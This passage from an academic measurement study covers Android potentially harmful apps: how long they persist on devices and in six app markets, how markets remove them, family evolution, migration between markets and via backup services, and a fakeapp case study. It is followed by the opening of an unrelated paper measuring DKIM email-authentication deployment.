within the 14-month observation period. Even for locker
and koler whereas the end users act swiftly (see Table 5),
we observe 53K (27% of locker infected devices) and 45K
(28% of koler infected devices) exhibiting multiple-instance
persistence. Note that our data does not allow us to infer the
causality relationship of PHA installations. Our results only
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Market # Total
PHAs #Apps #Families # Avg. Active

PHAs Active PHA (01/19 - 02/20)

Google Play
(com.android.vending) 81K 56K 642 26K

Huawei Market
(com.huawei.appmarket) 24K 10K 175 3K

Xiaomi Market
(com.xiaomi.market) 11K 5K 226 2K

Samsung Market
(com.sec.android.app.samsungapps) 10K 5K 206 2K

Bazaar Market
(com.farsitel.bazaar) 5K 5K 74 1K

Oppo Market
(com.oppo.market) 3K 2K 143 462

Table 7: Summary of active PHAs in the top 6 Android Mar-
kets.

demonstrate the fact that two PHAs from the same family
that are installed on the same device are highly correlated.

6 PHA In-Market Persistence
In this section, we first quantify the active PHAs in six app
markets, by leveraging the dataset of 197K apps for which
we could reliably establish their market provenance (see Sec-
tion 2). As discussed, this number is lower than the total num-
ber of PHAs installed for a number of reasons (e.g., PHAs
that were already installed on the devices before our study
started, and SHA2s that do not belong to newly installed apps
but are rather updates), but it still covers 66% of all devices
that installed any PHA and 22% of all PHA installations in
our dataset. We then study how markets react to the presence
of PHAs (e.g., how many PHAs the markets suspend or re-
move, etc). Finally, we study the PHA in-market persistence
(i.e., how long can PHAs persist in different markets once
published) and PHA in-market evolution (i.e., how PHAs
may evolve to evade app vetting systems).

6.1 PHA In-Market Prevalence
The mobile security product records the installer package
names of PHAs observed on mobile devices (see Sec-
tion 2). This enables us to track the origin market of in-
stalled PHAs. We first measure the in-market prevalence
of PHAs, serving as the foundation to understand PHA in-
market persistence in Section 6.3. We investigate the ac-
tive PHAs in six popular Android markets (i.e., Google
Play, Huawei Market, Samsung Market, Xiaomi Market,
Bazaar Market and Oppo Market). Our results are summa-
rized in Table 7. Google Play is the Android market hosting
most PHAs: 81K unique SHA2s from 642 PHA families,
with the largest monthly active PHA population (i.e., 26K
per month) on average. This makes sense, due to the fact that
Google Play is the largest Android market with approximately
2.87 million apps3, and consequently becoming the de facto
target of PHA makers. Overall, all markets demonstrate per-
sistent monthly presence of PHAs as we can see from the
temporal patterns in Table 7. Following this finding, we will

3https://www.statista.com/statistics/266210/number-of-available-
applications-in -the-google-play-store/

Market # Total
PHAs

# Total
Removed %Removed # Avg.

Removed
PHA Removal

(01/2019 - 01/2020)

Google Play 81K 74K 91.4% 5.28K
Huawei Market 24K 22K 91.5% 1.58k
Xiaomi Market 11K 9.8K 92.2% 705

Samsung Market 10K 8.9K 91.3% 637
Bazaar Market 5K 4.7K 95.4% 337
Oppo Market 3K 3K 92.3% 223

Table 8: Summary of PHAs removed by the top 6 Android
markets.

discuss how these markets deal with the PHAs in the next
section.

6.2 Marketplace Actions against PHAs
When apps are submitted to an Android marketplace, they
are usually automatically analyzed for presence of malicious
activity. If undetected, a PHA will be published on the market-
place, but it may later be suspended or removed, for example
after the PHA is reported as malicious by users or security
researchers. Google discloses the percentage of PHA installa-
tions in its annual Android security and privacy reports [12].
It remains however unclear how many PHAs are suspended
or removed by all marketplaces. As we show in the previous
section, all markets demonstrate persistent monthly presence
of PHAs. For example, Google Play has 26K monthly active
PHAs and 81K total PHAs in 14 months. This implies that
the markets do remove PHAs, but not in a prompt manner. To
better understand this phenomenon, we follow the approach
in Section 3 to measure the number of PHAs removed or sus-
pended by the top 6 Android markets. Note that we define a
PHA pi as removed/suspended if we do not observe the same
SHA2 for the rest of our observation period after its last ap-
pearance (i.e., max(Ωpim )). This way, we exclude all SHA2s
that appeared in February 2020 to minimize false positives
and discuss the limitation of this strategy in Section 9. Our
findings are summarized in Table 8. Overall, each Android
marketplace removes at least 91.3% of the PHAs published
on it during our observation period. For example, Google Play
removed 74k PHAs (91.4% of 81K PHAs) while Bazaar mar-
ket performed the best removing 4.7K PHAs (95.4% of 5K
PHAs) from its market. Unlike previous work [35], we find
that Chinese marketplaces like Huawei, Xiaomi, and Oppo
also remove most of the PHAs published on them (91.5%,
92.2%, 92.3%). A reason for this discrepancy might be that
our observation period is later than the ones used in previous
work (2019-2020 vs 2017), and these markets might have
changed their security posture after coming under scrutiny.
The temporal removal patterns of each marketplace are shown
in Table 8, indicating that all marketplaces consistently re-
move PHAs. It is important to note that Table 8 does not indi-
cate that Google Play and Huawei Market are not trustworthy.
Rather, due to the popularity of these markets and their huge
user base, they consequently become the de facto targets of
PHA makers. For instance, Google Play removed 74K PHAs
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Market Average
Persistence

Malware
Persistence

MUwS
Persistence

Google Play 77.64 D 78.72 D 77.11 D
Huawei Market 30.02 D 28.70 D 37.61 D
Xiaomi Market 29.93 D 27.40 D 37.27 D

Samsung Market 52.56 D 48.44 D 81.01 D
Bazaar Market 65.76 D 65.73 D 65.43 D
Oppo Market 28.29 D 26.32 D 36.47 D

Table 9: Summary of PHA in-market persistence in the Top 6
Android Markets.
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Figure 4: Survival analysis of PHAs, malware and MUwS in
the six markets.

during our observation period, which is respectively 8 times
and 9 times more than Xiaomi Market and Samsung Market.
This is in line with the findings by Lindorfer et al. [22].

6.3 In-Market Persistence of Different Types
of PHAs

An important yet unanswered question is how long PHAs can
persist in different markets before being taken down, since
the longer they persist the more devices may be infected.
To answer this question, we follow the approach outlined in
Section 3.3 to measure PHA in-market persistence in these
Android markets. Our findings are summarized in Table 9. We
observe that PHAs, on average, can persist in Google Play
for 77.64 days and on other markets for at least 24 days. This
leaves a large window of opportunity for miscreants to exploit
mobile devices putting the users and their data at risk. To fur-
ther investigate the significance of our findings on mean PHA
in-market persistence, we use the Kaplan-Meier Estimate [14].
Recall that our methodology allows us to include censored
data (see Section 3), hence our estimates is not biased nor
under-estimated. The survival distributions of PHAs in the
six markets are shown in Figure 4. It is visually evident that,
at any point across the timeline, we can see that the survival
probability of the PHAs in Google Play is more than the other
markets (except Bazaar Market). We further carry out the pair-

MUwS

Figure 5: Survival analysis of malware and MUwS persistence
in the six markets.

wise Peto-Prentice test to compare the survival distributions
of the PHAs between Google and the other markets to estab-
lish the fact that the PHAs in Google Play persist longer than
those in the other markets. The degrees of freedom are the
number of groups minus one, hence always 1 in our tests. A
χ2 test shows that these differences are statistically significant
as the test statistic values are significantly larger than 3.841
(from standard χ2 distribution table) and the p-values are all
less than 0.005. These results further validate our observa-
tion. Our observation is at odds with Lindorfer et al. [22]. We
hypothesize two factors that may lead to our results. First,
Android accounts for 87% of the global smart phone market,
and, inevitably, has become the de facto target for mobile
malware. In turn, some PHAs may end up on the Google Play
Store despite of Google tightening Android’s security and
app review. Second, Google Play may have different policies
to address PHAs (e.g., it may offer a longer grace period for
these PHAs to remove offending libraries/code). Neverthe-
less, Google Play removed 74K PHAs during our observation
period, which is far more than those removed by the other
markets.

We then use AVClass [29] to distinguish between malware
and MUwS among PHAs, investigating if there exists any
in-market persistence difference between these two types of
PHAs. Mobile MUwS have a slightly shorter persistence pe-
riod in Google Play (77.11 days on average) and Bazaar
market (65.43 days on average), while in the other four mar-
kets MUwS shows longer persistence than malware. In par-
ticular, the in-market persistence period of mobile MUwS is
almost twice longer than that of malware in Samsung market
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Google
Play

Huawei
Market

Xiaomi
Market

Samsung
Market

Bazaar
Market

Oppo
Market

Family
Avg.

Persistence Family
Avg.

Persistence Family
Avg.

Persistence Family
Avg.

Persistence Family
Avg.

Persistence Family
Avg.

Persistence
airpush 153.3 D jiagu 32.3 D jiagu 30.6 D jiagu 39.9 D adpush 92.2 D jiagu 26.2 D
jiagu 153.5 D smsreg 46.9 D smsreg 32.1 D airpush 188.2 D hiddad 98.7 D hiddad 91.9 D

revmob 159.1 D tencentprotect 44.3 D umpay 100.1 D revmob 191.8 D toofan 83.5 D smsreg 65.4 D
leadbolt 159.9 D secneo 51.8 D datacollector 58.2 D leadbolt 173.37D privacyrisk 65.4 datacollector 46.3 D
inmobi 125.9 D datacollector 32.8 D tencentprotect 53.2 D smsreg 56.2 D ewind 129.0 D tencentprotect 52.4 D

anydown 191.6 D autoins 41.2 D secneo 31.9 D mobby 194.0 D dnotua 92.9 D utilcode 63.0 D
hiddad 165.9 D utilcode 26.0 D hiddad 82.2 D tencentprotect 56.44 D hiddenapp 80.4 D badiduprotect 39.3 D

plankton 136.1 D baiduprotect 83.5 D utilcode 52.5 D anydown 183.7 D hiddapp 99.7 D beitaad 45.9 D
datacollector 152.2 D autoinst 35.1 D baiduprotect 48.9 D wapron 8.4 D notifyer 75.2 D airpush 47.5 D

dnotua 115.2 D smspay 62.4 D wapron 13.5 D baiduprotect 84.9 D airpush 123.8 D revmob 106.6 D

Table 10: Summary of the top 10 families (ranked by the number of SHA2s) in-market persistence in the top 6 Android
marketplaces. A family name is in bold if its in-market persistence period is below average (see Table 9).

(81.01 days on average) and Oppo market (48.44 days on
average). This suggests that different markets apply different
policies when vetting for PHAs, and might prioritize certain
types of threats over others. To further validate our findings
on the in-market persistence difference between these two
types of PHAs, we again use the Kaplan-Meier Estimate. The
survival curves of mobile malware and MUwS in the six
markets are shown in Figure 5. We further carry out the Peto-
Prentice test to compare the survival distributions of malware
and MUwS within each market. A χ2 test shows that these dif-
ferences are statistically significant as the test statistic values
are significantly larger than 3.841 (from standard χ2 distribu-
tion table) and the p-values are all less than 0.005. The only
exception is Bazaar market, where the test statistic is not
significant. Hence, we cannot conclude if Bazaar market
applies different policies when vetting for PHAs.

In Section 5 we showed that the overall number of devices
infected is correlated with the number of SHA2s. Following
this finding, we further study if PHA families with a large
number of PHAs can persist longer in the marketplaces. Our
hypothesis is that these large families may persist in the mar-
kets longer since app vetting systems require both machine
and human inspection. Our findings on the top 10 largest fam-
ilies in the top six markets are shown in Table 10. We observe
that most of the large families in the top six marketplaces per-
sist longer than the mean persistence time (see Table 9). For
example, all top 10 families in Google Play have in-market
persistence of at least 115 days, which is 38 days longer than
the mean 77.64 days persistence time. These results show that
there is a need for more comprehensive app vetting measures.

6.4 PHA In-Market Evolution
In the previous sections, we showed that PHAs can persist in a
market for weeks. In this section we aim to further understand
how PHA families may evolve in the markets. For example,
PHA makers may proactively switch ad libraries in response
to market policy changes or gain better incentives from ads,
or they may modify their malicious code to evade market app
vetting systems, etc. Note that each app has a unique package
name in a given market, by correlating the SHA2s belonging

com.sinyee.babybus.season

2019-02-05 2019-07-02 2019-12-18

inmobi kyview domob
SHA2:6bed… SHA2: 771f… SHA2: a425…

time

Figure 6: Example of PHA in-market evolution
(com.sinyee.babybus.season).

Market #Apps #SHA2s
Approximate

SHA2s
per PHA

Avg.
In-market
Persistence

Avg.
Evolution

Gap

Google
Play 1,349 7,883 ∼6 250.1 D 66.5 D

Huawei
Market 320 1779 ∼5 276.6 D 116.2 D

Xiaomi
Market 89 443 ∼5 247.8 D 98.8 D

Samsung
Market 70 383 ∼5 238.9 D 86.8 D

Bazaar
Market 40 129 ∼3 213.9 D 120.5 D

Oppo
Market 43 234 ∼5 227.0 D 98.4 D

Table 11: Characteristics of PHA in-market evolution.

to a certain package name and the AVClass results of their
VT reports, we can track and measure if an app evolves over
time (i.e., if the SHA2s of a certain PHA belong to at least
2 PHA families over the time). We show an example in Fig-
ure 6 where SHA2s from com.sinyee.babybus.season in
Google Play are associated with three different PHA fam-
ilies (i.e., inmobi, kyview [36], and domob) during our ob-
servation period.4 Their overall evolution distribution is illus-
trated in Figure 7. As we can see, the majority of the PHAs
exhibiting in-market evolution are observed in Google Play
and HuaWei Market (1,340 and 320 PHAs respectively in
these two markets). There are a limited number of PHAs in

4Note that inmobi is Google’s preferred ad SDK partner. However, this
library is flagged by multiple mobile security products as MUwS, and has
leaked sensitive user data in the past. In fact, inMobi was charged by the
FTC for COPPA violations in 2016. Therefore we flag inmobi as PHA in
this paper even though we acknowledge that the definition of MUwS varies
by platforms.
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Figure 7: Violet plot summarizing PHA in-market evolution.
The white dot in the middle is the median value, the thick
black bar in the centre represents the interquartile range and
the contour represents the distribution shape of the data.

the rest of the markets exhibiting in-market evolution. For
example, we identify 10K PHAs in Samsung Market (see
Table 8), yet only 70 of them exhibit in-market evolution. On
average, these PHAs belong to two PHA families over time.
Additional characteristics of these PHAs exhibiting in-market
evolution are summarized in Table 11. Overall, these PHAs
exhibiting in-market evolution show longer in-market persis-
tence (i.e., over 200 days) in the top 6 markets. For example,
the PHAs exhibiting in-market evolution persists in Google
Play for 250.1 days compared to the average 77.6 days (see
Table 9). The average gap between PHAs switching families
in Google Play is 66.5 days, which is more frequent than
the other markets. We believe that the shorter gap in Google
Play is partially due to the stringent app vetting system and
security policies applied by Google Play. As such, miscre-
ants must be proactive to deal with the scrutiny from Google.

7 PHA Migration
When their PHAs are removed from a marketplace, miscreants
might migrate to alternative ones to keep their operation going.
In this section, we study how PHAs migrate among markets.

7.1 PHA Inter-Market Migration
An important unanswered question is if miscreants actively
move PHAs among markets to infect more devices or af-
ter such PHAs were removed from a market. For example,
the miscreants may move a PHA to alternative markets af-
ter Google Play takes it down. Alternatively, the miscreants
may move a PHA from alternative markets to Google Play to
profit from its massive end users even for a short period of
time. We show an example in Figure 8. We have a repackaged
app com.avatar.star with SHA2 79e6..., which origi-

com.avatar.star (79e6…)

20
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-0
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01

20
19

-0
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Google Play
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Figure 8: Example of PHA inter-market migration
(com.avatar.star).

Figure 9: PHA inter-market migration. Markets are ranked by
the total number of inter-market activities.

nally appeared in Oppo Market between August 1, 2019 and
August 15, 2019 (3 devices infected), then moved to VIVO
Market between August 20, 2019 and August 25, 2019 (2
devices infected), and finally settled down in Google Play
between September 4, 2019 and January 27, 2020 (215 device
infected). Recall that we can track a SHA2 across markets
and time to identify sequentially non-overlapping time inter-
vals. To quantify the aforementioned phenomenon, we use
the app package names and their associated SHA2s as seeds
(similar to previous work [22]), and use the approach detailed
in Section 3 to measure PHA inter-market migration. In total,
we observe 3,533 PHAs that exhibit inter-market migration.
The results for the top six markets are summarized in Figure 9.
We see that Google Play exhibits the most inter-market mi-
gration activities with 1,404 PHA migrations, while Google
Play also exhibits the most outward PHA migrations with
886 outward migration activities.

We next investigate whether mobile malware and MUwS
present different migration activity on the various markets.
We again use AVClass [29] to identify mobile malware and
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Market
Total PHA

Migration (in) # Malware # MUwS
Avg.

Persistence
# Device Infected

(upstream)
# Device Infected

(current)

Google
Play 651 447 204 57.9 D 964 3,003

Huawei
Market 859 747 112 63.5 D 1,039 1,543

Xiaomi
Market 346 292 54 10.44 D 4,065 471

Samsung
Market 255 218 37 23.66 D 1,599 394

Oppo
Market 234 186 58 10.3 D 3,364 296

Bazaar
Market 107 63 44 63.84 D 121 284

Table 12: Market response to PHA migration.

MUwS from the package names that migrated. Lindorfer et
al. [22] found initial evidence that malicious apps jump from
market to market, possibly for survival. For instance, the au-
thors identified 131 apps that migrated to alternative markets,
but didn’t carry out further analysis of how long these apps
would survive after the migration. To fill this gap, we then
measure specifically the PHAs that migrated into the mar-
kets to understand their in-market persistence. The results are
summarized in Table 12. More mobile malware migrates into
the markets compared to MUwS for all top 6 markets. Our
hypothesis is that the ecosystem of MUwS usually leverages
ad libraries and can be more adaptable to market takedowns,
while the miscreants behind mobile malware use more so-
phisticated methods (e.g., code obfuscation, environment
awareness, etc) hence reusing the same PHAs across different
markets to maximize the number victims is more desirable. To
verify our hypothesis, we measure the device prevalence ratios
of these PHAs migrating into the markets and compare this
prevalence ratios to those of the immediate upstream markets
they migrated from. Our results are summarized in Table 12.
As it can be seen, PHAs migrating into Google Play and
Huawei Market (which have large user bases) manage to
infect at least 50% more devices than those from the imme-
diate upstream markets. However, PHAs migrating into the
rest of the markets (which have smaller user bases) do not
reach more devices. Nevertheless, those PHAs, on average,
have short lifespans in these markets compared to the aver-
age persistence time (see Table 9, Section 6) except Huawei
Market. Our hypothesis is that this is partially due to the fact
that these PHAs have been detected in the upstream markets,
therefore signatures were made available for the downstream
markets to detect them. At the same time, the exception of
Huawei Market shows that markets must be responsible and
rigorously vet the apps submitted. Our study only measures
the lower bound of the PHA in-market persistence since it
is possible that a PHA still exists in a market but our dataset
did not reflect its existence. The issue could be addressed if
our dataset is augmented with the method proposed by Lin-
dorfer et al. [22]. We leave such task as part of our future
work.

Service #PHAs #Malware #MUwS Dev
Infected

Avg.
Persistence

com.sec.android.easyMover
(Samsung) 14,038 10,960 3,078 35,557 93.38 D

com.samsung.android.scloud
(Samsung) 5,088 3,835 1,253 8589 56.41 D

com.hicloud.android.clone
(Huawei) 3,653 2,953 700 3,079 32.53 D

com.oneplus.backuprestore
(Oneplus) 1,072 794 278 1,361 22.69 D

com.coloros.backuprestore
(Oppo) 972 695 277 1,267 21.98 D

com.miui.cloudbackup
(Xiaomi) 1,243 928 315 1,235 33.23 D

Table 13: PHA migration from data backup/clone services.
Those services are ranked by the device prevalence ratios.

7.2 PHA Persistence After Migration via
Backup/Clone Services

Android phones typically offer backup functionality to their
users, allowing them to restore their apps and configuration
when they purchase a new device. This mechanism allows
users to quickly restore their data (e.g., contacts, settings,
apps) in the new devices without manual reinstallation efforts.
However, such services may inadvertently migrate existing
PHAs to the new device too, and compromise the security and
privacy of the new phones, even though these PHAs may have
been removed by the markets and therefore the user might not
be able to manually install them anymore. Kotzias et al. [16]
showed that backup restoration is an unintended unwanted
app distribution vector responsible for 4.8% of unwanted in-
stalls. Following this direction, we further investigate how
long PHAs can persist after migrating via backup/clone ser-
vices. Recall that the mobile security product captures an
app’s installer package name (see Section 2). This enables
us to identify apps that were installed by backup/clone ser-
vices in our dataset. To this end, we first identify the top
six data backup/clone services in our dataset and understand
how many PHAs migrate from backup/clone services, and
consequently how long these PHAs may persist on the de-
vices. To accurately identify the data backup/clone services,
we first remove all known market installer packages and rank
the rest of the installers by the device prevalence ratio. We
then investigate these apps on Google Play and on the Web
to understand the functions of the installers.

Our findings are shown in Table 13. Overall, we observe
that a considerable number of PHAs are not removed by end
users and consequently are migrated from the old phones
and backups. For example, 14K PHAs migrated to 35.5K new
Samsung models in our dataset. At the same time, it is interest-
ing to see that there is three times more mobile malware than
MUwS migrating via backup/clone services. In addition, these
PHAs persist longer than the average 20.2 days persistence pe-
riod (see Table 4). For example, PHAs migrated via Samsung
smart switch mobile app (com.sec.android.easyMover)
persist in the new devices for an averaged 93 days.
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(a) fakeapp prevalence (global)

(b) fakeapp device infection rate (global)

(c) fakeapp prevalence (in Google Play market)

(d) fakeapp device infection rate (incurred by Google Play)

Figure 10: Case study: the fakeapp family

8 Fakeapp Case Study
In this section, we provide a case study on the fakeapp An-
droid malware family to demonstrate that our approach can
measure how a malicious campaign spread, persisted, and
later was removed by the markets. fakeapp is a family of
malicious apps that masquerades as popular legitimate apps,
by using a similar package name and icons as AV apps, bank-
ing apps, etc. Some of the apps from the fakeapp family
may engage in malicious activities such as sending/receiving
premium SMS messages and downloading other apps [17,40].

Figure 10 shows the prevalence rate and the device infec-
tion rate of fakeapp from a global and a local perspective
(we use the Google Play market in our case study). During
our observation period, at the global level, fakeapp had ap-
proximately 3K active SHA2s infecting 13K devices on a
monthly basis (see Figure 10a and 10b). From a local perspec-
tive, fakeapp had approximately 210 active SHA2s persisting
in the Google Play market and infecting 3K devices on a
monthly basis (see Figure 10c and 10d. This is rather inter-
esting because apps from the fakeapp family in the Google
Play market represent 7% of monthly active SHA2s belong-
ing to this family, and yet accounted for approximately 25% of
the global device infection. Our study shows that the Google
Play market ramped up its removal efforts over our observa-
tion period. The market had 322 active fakeapp SHA2s in
January 2019 and reduced the number to 106 active SHA2s in
February 2020, representing a twofold decrease (Figure 10c).
This, in turn, lead to a four-fold decrease in the number of
device infection rate (Figure 10d). However, the fakeapp
family, on average, persisted in the Google Play market for
86.6 Days before removal. This is about 9 days longer than
the average PHA persistence period on that market (see Ta-
ble 9, Section 6.2). At the same time, fakeapp apps installed
from Google Play persist 29.41 days on devices, which is 14
days longer than the average 15.17 days fakeapp on-device

persistence period. We believe that this is due to the fact that
Google Play is the de facto trusted source of Android apps,
hence the end users may keep the PHAs from Google Play
longer. Additionally, the fact that fakeapp apps come dis-
guised as useful apps might hide the fact that these apps are
malicious and lure users into keeping them on their devices
for longer, despite being warned by the mobile security prod-
uct. Our case study highlights the importance of the Google
Play market in fighting PHAs and demonstrates the in-depth
analysis that our measurement methodology can achieve.

9 Limitations and Discussion

Biases. While this paper presents the largest measurement of
on-device Android PHA to date, our dataset is biased towards
the users of a single mobile security product, and therefore
still presents some biases. For example, our device population
is skewed towards the United States and European countries.
It is possible that end users in the United States and Europe
tend to keep this mobile security app installed for longer,
hence more likely that these devices fit in our data selection
criteria (see Section 3). At the same time, we cannot observe
the behavior of users that do not use mobile security products,
and those who did not opt-in this data collection scheme.
Besides, we cannot observe certain events from the devices
protected by Google Play Protect. Nonetheless, we believe
that our dataset is representative of the worldwide mobile
users, and we do our best to minimize this bias, for example,
by using percentages when looking at per country infection
rates. In terms of the representativeness of the analyzed apps,
it is challenging to ascertain the coverage of our study since
it is infeasible to determine the total number of all Android
apps, given such a fragmented ecosystem and many alternative
markets. Still, by analyzing 8.8M unique apps, this study
is covering one of the largest sets of apps to date, and is
in line with the largest datasets collected by the academic
community [1].

Data Limitations. It is important to note that the PHA detec-
tion data is collected passively. That is, a PHA detection event
is recorded when the security product detects a potentially
harmful application that matches a pre-defined signature in-
cluding its behavior, communications, and policy violations.
Any mobile PHAs preemptively blocked by other security
products (e.g., application store link blacklists, cloud-based
app reputation systems) cannot be observed. Additionally, any
PHAs that do not match the predefined signatures on devices
are also not observed. Inferring the last seen timestamp of a
PHA in a market is practically hard since the mobile security
data is collected passively. Our inference therefore relies upon
the deduction that if we do not observe a given PHA from bil-
lions of events generated by 11.7M devices following its last
observation time, we consider that this PHA was removed by
a market. It is possible that this PHA could still remain in that
market and our dataset simply did not capture its existence
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(i.e., this PHA is not installed by the 11.7M devices after its
last observation timestamp). Consequently, we measure the
lower bound of the PHA in-market persistence in our study.

The Android API enables the mobile security product to
identify the installer package name of a PHA. Correlating
this with the official package names of the markets, we can
identify if a PHA comes from a certain market at a certain
timestamp. However, miscreants or end users can install apps
via ADB and impersonate the official package names of the
markets. In this case, the mobile security product can wrongly
attribute a PHA as originating from a certain market. To min-
imize this risk, our study only selects a PHA observed in at
least two devices. We believe that such false positives incurred
by such impersonated official market package names are sta-
tistically ignorable. In addition, if an app was installed before
our observation period started, we cannot obtain market in-
formation for it. If an already installer app is consequently
updated, our system sees the updating software as the installer
and not the original marketplace the app came from. We there-
fore exclude the PHAs that we cannot confidently attribute
to certain markets. Still, this allows us to cover 66% of the
devices in our dataset and 22% of all PHA installations.

Implications for mobile security research. Our study
shows that many PHAs can persist on devices and in app
markets for many days once installed or approved. We hope
that our study can inspire better notification systems to nudge
the end users to remove PHAs once detected, and, ideally, de-
vise a prevention system able to convince users not to install
PHAs in the first place.

Implications to Android markets. Our study shows that
PHAs can persist in a market for at least 24 days. At the
same time, while we recognize the efforts from the Android
markets, not all PHAs are removed by them (e.g., Google
Play removes 5.28K PHAs per month and, in total, removes
74K out of 81K PHAs). We hope that our findings will en-
able Android markets to ramp up their app vetting systems
and takedown PHAs in a timely manner to minimize their
in-market persistence. In addition, despite of the transparency
report from Google Play, we hope that the markets can be
more transparent and disclose the performance figures relating
to PHA removal (e.g., the number of PHA removed monthly,
the average time to remove a PHA, etc.). Our study shows
that PHAs may evolve over time to survive in the markets for
longer and be able to reach more victims. We hope that our
findings can encourage app markets to make end users aware
of the security and privacy issues incurred by the previous
versions of an app if any. For example, certain versions of
the popular app com.intsig.camscanner in Google Play
were affected by the Trojan dropper necro due to the inte-
gration of a 3rd party SDK from AdHub. As the app remains
in Google Play after the removal of the 3rd party library, a
historical briefing of the security and privacy incidents as-

sociated with such apps would offer end users an informed
decision when installing them on their devices in the future.

10 Related Work
There is an enormous amount of research on mobile security
and privacy. In this section, we specifically review previous
measurement studies on malware characterization and mobile
app ecosystem. We refer the readers to [6,8,19,24,32,37] for
overviews and surveys on securing Android devices.

Mobile PHA characterization. The security research com-
munity has been actively investigating the ever-changing char-
acteristics of mobile PHAs for years [6, 8, 19, 24, 32, 37].
Previous efforts mainly focused on analyzing apps and sys-
tematically characterizing them from various aspects. From a
high level, these research center on installation methods [40],
evasion mechanisms [7], repackaging mechanisms [22,31,39],
malicious payloads [40], behaviors [21, 38], monetization [9],
etc. In recent years, Faruki et al. [7] summarized Android
security issues, malware growth (during 2010-13), their pene-
tration, stealth techniques, and strength as well as weaknesses
of some of the popular mitigation solutions. Mirzaei et al. [23]
introduced Andrensemble, a system to characterize Android
malware families by leveraging API ensembles. These ef-
forts collectively shed lights on how Android malware op-
erates in the wild, the main incentives of mobile malware,
the weaknesses of some of the popular mitigation solutions,
etc. However, they did not discuss potential threats posed by
PHA persistence in both mobile devices and markets as these
efforts center on app analysis and offer a less comprehensive
view of the real device prevalence.

Measurement studies on Android permission system. The
Android permission system has been extensively covered in
the previous literature [2, 3, 8, 24]. We only review the work
relating to our study in this paper. Felt et al. [8] built the Stow-
away system to detect overprivileged apps which could result
in privacy violations. Felt et al. [10] later showed that current
Android permission warnings do not help most users make
correct security decisions. Sarma et al. [27] discussed the
risks incurred by the Android permission system and outlined
13 permissions that may critically invade users’ privacy. Qu et
al. [25] designed AutoCog to measure the description-to-
permission fidelity in Android apps and assist the end users to
understand the security and privacy implications when grant-
ing permissions.

Measurement studies on mobile PHA. From a device per-
spective, Shen et al. [30] carried out a detailed quantitative
analysis on 6.14 million Android devices comparing rooted
and non-rooted Android devices across a broad range of char-
acteristics including PHA installations and network behavior.
Suarez-Tangil et al. [31] carried out a systematic study of
1.28M repackaged apps spanning between 2010 and 2017
to understand how Android malware has evolved over time.
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More recently, Gamba et al. [11] collected 82K pre-installed
apps (424K files in total) on Android devices from more than
200 vendors and carried out a measurement study to under-
stand how the stakeholders primarily build their relationship
around advertising and data-driven services. From an app mar-
ket perspective, Lindorfer et al. [22] proposed the AndRadar
system to discover multiple instances of a malicious Android
application in a set of alternative application markets using a
set of package names as seeds. Wang et al. [35] leveraged 6M
Android apps downloaded from 16 Chinese app markets and
Google Play and provided a large-scale comparative study
to understand various aspects and dynamics relating to apps
(including PHAs), their behavior and the developers. These
efforts collectively shed lights on the overall picture of how
PHA evolves over the time. Different from these previous
efforts, our study focuses on the potential threats posed by
PHA persistence in both mobile devices and markets as these
efforts center on app analysis and offer a comprehensive view
of the real device prevalence.

Desktop PUP PPI ecosystem study. Another loosely con-
nected research line is related to measuring the PUP PPI
ecosystem in the PC environment. Caballero et al. [4] pro-
vided the first large scale measurement of blackmarket pay-
per-install services in the wild. Kotzias et al. [15] leveraged
file dropping graphs to build a publisher graph and identify
specific roles in the ecosystem, in turn revealing the relation-
ship between PUP prevalence and PUP distributors. Thomas
et al. [33] performed a similar study on unwanted software
on desktop computers.

Comparison with Close Work. The closest work is a re-
cent mobile unwanted app distribution study by Kotzias et
al. [16]. Their study focuses on understanding who-installs-
who relationships between installers and child apps, and un-
covering the main unwanted app distribution vectors. Similar
to the findings by Kotzias et al. [16], our study also shows
that Google Play remains the main app distribution vector of
PHAs, but also has the best defenses against PHAs (e.g., re-
moving most of the PHAs). Kotzias et al. [16] also identifies
many other distribution vectors such as bloatware, browsers,
instant messaging, etc. Our study does not cover these dis-
tribution vectors as we focus on the temporal behavior of
PHAs. Concretely, leveraging a longer observation period of
PHA installation events across 11M devices, our study of-
fers a large-scale temporal measurement study of Android
PHAs to comprehend the characteristics their on-device and
in-market persistence, and consequent inter-market migration
after taken down. In summary, Kotzias et al. [16] cover where
the PHAs come from while our study addresses the temporal
dynamics of PHA installations on Android.

11 Conclusion
We presented the largest on-device study to date of Android
PHAs installed in the wild. Our results show that PHAs on

Android are a pervasive problem, and that malicious apps
can persist for long periods of time both on devices and on
markets. Our results suggests that current measures against
malicious apps on Android are not as effective as commonly
thought, and that more research from the security community
is needed in this space.
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Abstract
DomainKeys Identified Mail (DKIM) is an email authenti-
cation protocol to protect the integrity of email contents. It
has been proposed and standardized for over a decade and
adopted by Yahoo!, Google, and other leading email service
providers. However, little has been done to understand the
adoption rate and potential security issues of DKIM due to
the challenges of measuring DKIM deployment at scale.

In this paper, we provide a large-scale and longitudinal
measurement study on how well DKIM is deployed and man-
aged. Our study was made possible by a broad collection
of datasets, including 9.5 million DKIM records from pas-
sive DNS datasets over five years and 460 million DKIM
signatures from real-world email headers. Moreover, we con-
duct an active measurement on Alexa Top 1 million domains.
Our measurement results show that 28.1% of Alexa Top 1
million domains have enabled DKIM, of which 2.9% are mis-
configured. We demonstrate that the issues of DKIM key
management and DKIM signatures are prevalent in the real
world, even for well-known email providers (e.g., Gmail and
Mail.ru). We recommend the security community should pay
more attention to the systemic problems of DKIM deployment
and mitigate these issues from the perspective of protocol de-
sign.

1 Introduction

Since the Simple Mail Transfer Protocol (SMTP) [28] lacks
authentication mechanism [11, 18, 31], email services have
long been fraught with email spoofing attacks [2, 5, 7]. To ad-
dress this security issue, the Internet Engineering Task Force
(IETF) has proposed three email authentication protocols, in-
cluding Sender Policy Framework (SPF) [19], DomainKeys
Identified Mail (DKIM) [13], and Domain-based Message
Authentication, Reporting, and Conformance (DMARC) [21].
These protocols protect user identities in different ways, and
they need to cooperate to protect email authentication.

B Corresponding authors:{jianjun, lbj}@tsinghua.edu.cn.

DKIM is an essential part of the email authentication chain.
It relies on digital signatures to prevent emails from being
forged or tampered with. Unlike the other two protocols,
DKIM focuses on verifying the integrity of email contents.
However, the complexity of DKIM deployment creates mul-
tiple management issues. Previous studies have shown that
DKIM misconfigurations may allow adversaries to success-
fully send spoofing emails that can bypass both DKIM and
DMARC verification [11, 31]. Besides, similar to other secu-
rity mechanisms based on cryptography, such as DNSSEC
and TLS, DKIM may be prone to common key management
risks. Therefore, it is significant to understand the current
status of DKIM deployment to improve the protocol design,
implementation, and management practices.

While significant efforts have been devoted to SPF and
